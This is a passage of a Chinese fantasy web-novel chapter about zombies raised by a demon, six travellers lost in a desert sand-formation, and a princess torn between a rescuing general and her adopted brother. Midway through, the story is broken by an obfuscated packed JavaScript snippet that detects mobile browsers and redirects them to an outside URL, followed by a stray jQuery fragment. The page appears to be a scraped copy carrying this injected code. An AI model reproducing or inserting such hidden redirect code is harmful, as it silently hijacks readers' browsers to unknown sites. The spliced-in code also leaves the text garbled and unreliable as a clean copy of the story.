满城欢庆时,回归的人们面上笑意不变,“我们回来了。”
“回来就好啊!”
但,脸上的笑容尚未完全展开,便永远地凝固了。血落、无声。
片刻后,他们的脸上,也挂上了同样的笑容。新的一批僵尸,产生了。从此城中,除曲连带领的一批魔族外,再无一人。
那些回来的不是离开故土的人,他们,是在战争中已然离世的人。准确说来,当下,他们已经不再是人,而是—
僵尸。
魔气缭绕间,曲连满意地点头:“这一批数量庞大,不错!”
“出发吧,孩子们!”曲连想,他可以去和魔尊邀功了。
一城的僵尸,即将出动,去往比邻之城。却未想,在城门处,遭到阻拦。
拦住他们的,是爬满城墙的藤蔓,是城内城外,无数的花草树木。它们,在这瞬间迅速生长,将整座城围得密不透风,困住了僵尸的脚步。
“也敢拦我?”曲连冷哼,一声令下,满城僵尸与植物开战。
城外,仍有绿意源源不断地向楼城涌来,绿色的牢笼被破坏、撕碎,立刻有新的补了上来,层层叠叠、伸展缠绕,它们以自己顽强的生命拼力围堵,为了正义,舍弃了自己。
双方拼命纠缠,不死不休。只见一阵剧烈的震颤,浓重的黑与莹润的绿一齐爆发,炸裂成一片尘烟。烟雾散去,黄沙覆地。
植物与僵尸同归于尽,魔族因此受到重创,这里也再草木不生。
从此,桑田化荒漠,绿洲成尘土,生灵消亡、殆尽。只残存星星点点的绿意在大漠中生长。
“竟还有这样的事!”
“魔族真是作恶多端!”
“世上有这许多生灵令人敬佩!”
感慨一番,六人换上西边的行装,骑着马,向着大漠出发了。
达达的马蹄声一路过了镇西关。一行六匹快马,在尘沙中飞扬,蜿蜒曲折,朝着黄昏日落,烈日如火,直至沙漠边缘。
金黄的沙丘在戈壁的长风中飞速旋转移动,落日好似就悬在沙丘的那头,照耀着苍茫的沙海。
“天然的沙石之阵。”应若勒马转头,感叹着这自然孕育的奇迹。
“可有破解之法?”花染盯着那飞扬的尘沙看了好一会儿。
“天然大阵,没有方法,唯有顺其自然。”应时想,这次可能不容易。
“我们必须得进入到沙漠深处去吗?”墨悦还未见过这种自成一派,顺风而动,毫无章法的阵仗。
“不然呢?在大漠边上,能看出一朵花来吗?”枫崖都忍不住怼了他一句。
“是的,也没有更好的方法了。”杜嘉恒也堵住了墨悦正欲解释的言辞。
“这几匹马怎么办?”花染还是很爱惜马儿的。
“它们啊,至少今天会等我们的。”应若浅淡一笑,“晚了,它们就会自己回城去了。”应时也轻笑出声。
“啊?”花染震惊了,连带着她的红枣马都打了个响鼻。
墨悦凑过去,轻轻按着花染的脑袋,合上了她张着的嘴。杜嘉恒也是忍俊不禁,有机会和他们同行一段路,真好。
六人尽量排成一字形走入大漠,应时在第一个,身后是枫崖、墨悦、花染、杜嘉恒,应若断后。
他们的脚印很快便被风沙填平、掩盖、消失。他们的身影,也被漂流的沙尘笼罩,被流动的沙丘遮盖,看不见了。唯余沙漠边缘的六匹马儿,结伴向着夕阳。
随着六人逐渐深入,四周尽是沙尘,分辨不清方向。他们走入了沙丘和风化的岩石之中。那些岩石形态各异,红褐灰黄,嶙峋地守望着这片大漠。有的像城墙,有的像高塔,有的像……人。
“这得走到什么时候?”花染看着天地昏暗,已望不见落日,也找不回来时的路。
应若回头望了一眼,不是错觉,沙丘移动的好像比方才快了些。应时也察觉到了,回首与应若对视后,二人同时喊道:“悬。”
其余四人也瞬间反应过来,双掌交替捏诀,六人便悬浮于半空之中,视线更加明了,便见九个沙丘正在飞速向着他们围拢过来,沙尘扬起落下间,就到了眼前。
六人摸不清沙尘的变换,只得以守护法术保护自身。然而,自然的力量,不是任何法术可以抵挡。大片大片的尘沙飞过他们头顶,绕过他们周身,连同结界和他们一起从半空中砸入了沙地之上,而这片沙地,已然成了流沙。
甫一落地,便被流沙淹没,再也不见。一切都发生在瞬息之间,除了风沙飘旋,再无声息。
风,又一次让时光倒流。
“阿若,该起了。”温润的声音和着叩门声传来。
楼若缓缓睁眼,目光迷离地应了声:“嗯。”却是转了个身,又闭上了眼睛,还一拉被子蒙住了头,再也不理会了。
日光暖洋洋地照在床榻上,熟睡的人也渐渐舒展开身体。头、手、腿全都从被子下伸了出来。
日上三竿,楼时再次过来,是父王派人来催了。见里面仍然没有动静,便让侍女进去叫醒她。
“公主殿下,今日有宴会,大将军也会来。”侍女立在床边,用正常的声量说着,毫无回应。
侍女无法,只得凑到她耳边,大喊一声:“殿下赎罪!”
楼若瞬间惊醒,直勾勾地盯住小侍女,那侍女只得不住低头赔罪。
“殿下赎罪!殿下赎罪!”
“来人,把她给我拖下去!”楼若起床气上涌,口不择言。
“阿若,且慢。”楼时含笑走来,“是我让她这么做的,这是还没睡够,要处置我吗?”
“哥!你又这样!”楼若微微嘟了嘟嘴,“算了。”她晃了晃脑袋,总觉得她不该这么暴躁。
宴席上,楼若终于再次见到了她心心念念的大将军—花子安。她一面吃着,一面偷偷瞥几眼。心中暗忖,他还记得她吗?大将军应当救过不少的人,在他心里,她会是特别的一个吗?
那天,楼若纵马经过古道,一处紧邻着山边的悬崖峭壁,有几块山石迎面滚落,她控着缰绳扬马躲过,马蹄落下时蹭到围栏收势不及,怎奈围栏没有撑住这重量,马儿便一头向着山崖下坠去。
她纵身跃起,只一手抓住了崖边的岩石。岩石棱角锋利,不多时便割破了手掌,鲜血和疼痛交织。明明生的希望就在头顶,她却再也没有力气再向上了。
就在她的手止不住地往下滑,脱开岩石的那一刹那,一只有力的大手凌空划过,握住了她流着血的手。那只手青筋绷起一瞬,她顺着那强劲的力道,一下子便上去了。
楼若站稳后,视线顺着交握着的手一路向上,对上了和这力量极不相符的一双桃花眼。男子唇角含笑,风流倜傥的模样,却身着铠甲。
她愣了片刻,才反应过来是自己一直抓着他的手不放。
“抱歉,多谢。”
“你的手受伤了,得处理一下。”
“花将军。”有士兵跑来,在他耳边低语了几句。
“你,送她回去,看着她把伤口处理好。”他吩咐着,又转头对她一笑。
“我还有要事,先走一步,后会有期。”他翻身上马,披风扬起,身影消失在路的尽头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806952|165498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直到回到寝殿,楼若还有些没回过神来。楼时倒是心疼得很,小心翼翼地捧着她的手,为她清洁干净,再仔细地一一挑出碎石,包扎好。
她原本是很怕疼的,这次也许是注意力分散了些,便觉这疼痛还可以忍受。
楼时问过下人,再见她神思不属的样子,心中酸涩,却还是笑着,以兄长的姿态问道:“看你这样,可是有意中人了?”
“嗯?没有!”她毫不犹豫地否定,却低垂着眼。
“那看来,就是有了。你说谎的时候,就是这样,都不敢看我。”
楼时坐到她身侧,“那我来猜猜,是那个士兵口中的花将军。”
楼若的眼神停留了一瞬,还是没有答话。
“我们不是说好了,有意中人了,要第一个告诉对方吗?”楼时语气温和,目光中充满着鼓励和包容。
楼若犹豫了一会儿,终于回道:“是,他救了我。”
“只是因为这个?”楼时的面容在阴影中显得有些模糊甚至苍白。
“你还记得吗?你小时候,还救过我。”他调侃地扬起一丝笑意。
“我、我不知道。”楼若看着他的笑容,不知为何,只觉得有一股莫名的悲伤。他离她分明很近,这一刻,却觉得很遥远,遥远到无法触及。
那天,后来,他们又说了些什么,许是她困了累了,都记不太清楚了。
这般再次回忆起来,她觉得自己恐怕是从那天起,便对那人一见钟情了。是因为救命之恩吗?楼若此时有些不明白自己的心了,分明前一刻还是无比的期待和欢喜,怎么再次相见后,仔细回想,又觉奇怪呢?
她好像,回想起更多的,是兄长楼时,而不是花将军、花子安?
想到这里,她觉得口中的肉都不香了,她几口咀嚼完咽下,倾身左看右看,也没找见楼时的身影。
她抬手叫侍女过来,“楼时呢?”
“大殿下在……治馔。”侍女低着头。
“什么?说普通话!”楼若是真的没明白。
“做菜。”侍女的头埋得更低了些。
“做什么菜?你不会一次性说完吗,非要我问一句你才答一句?”楼若发觉她又莫名暴躁起来了。
“算了,我自己去看。”她悄悄起身溜了,顺便透透气,舒缓一下情绪。
楼时在很认真地做冰酪,杯盏铺上碎冰,盛好乳酪,各式缤纷的果子摆成一圈,再撒上些乳粉,只是看着就不自觉地被吸引。
“你要吃这个,找下人去做就是了,干嘛自己做?”
“今日是你的生辰,为你做的。”因国主夫人早些年病逝,故去的那天恰是楼若的生辰,自那以后,她便再也没有过生辰了。
楼若看着这杯冰酪,和端着它的手,也不知怎的,忽的就偏头落了泪。再看着他慌了神一样笨拙地为她擦干眼泪,还不住问着,“怎么了?”
她劈手夺过冰酪,头也不回地跑了。
宴席上,楼国国主叫来侍女问话,“大王子和公主呢?去把他俩叫回来。大将军还没离席,他们不在,成何体统?”
二人回到席间,花子安起身拱手道:“实不相瞒,前些日子,我与公主殿下有过一面之缘。我一见倾心,日夜思念。今日,特此斗胆求娶公主殿下,还望国主成全。”
此言一出,座下忽然寂静。
谁都知道,大公主楼若将来是要做女王的,大王子并非亲生,而是早年国主夫妇好心收养的孤儿。二人从小一起长大,他会辅佐下一任的女王,这是大家心照不宣的事情。
尘烟深处,予谁陌路。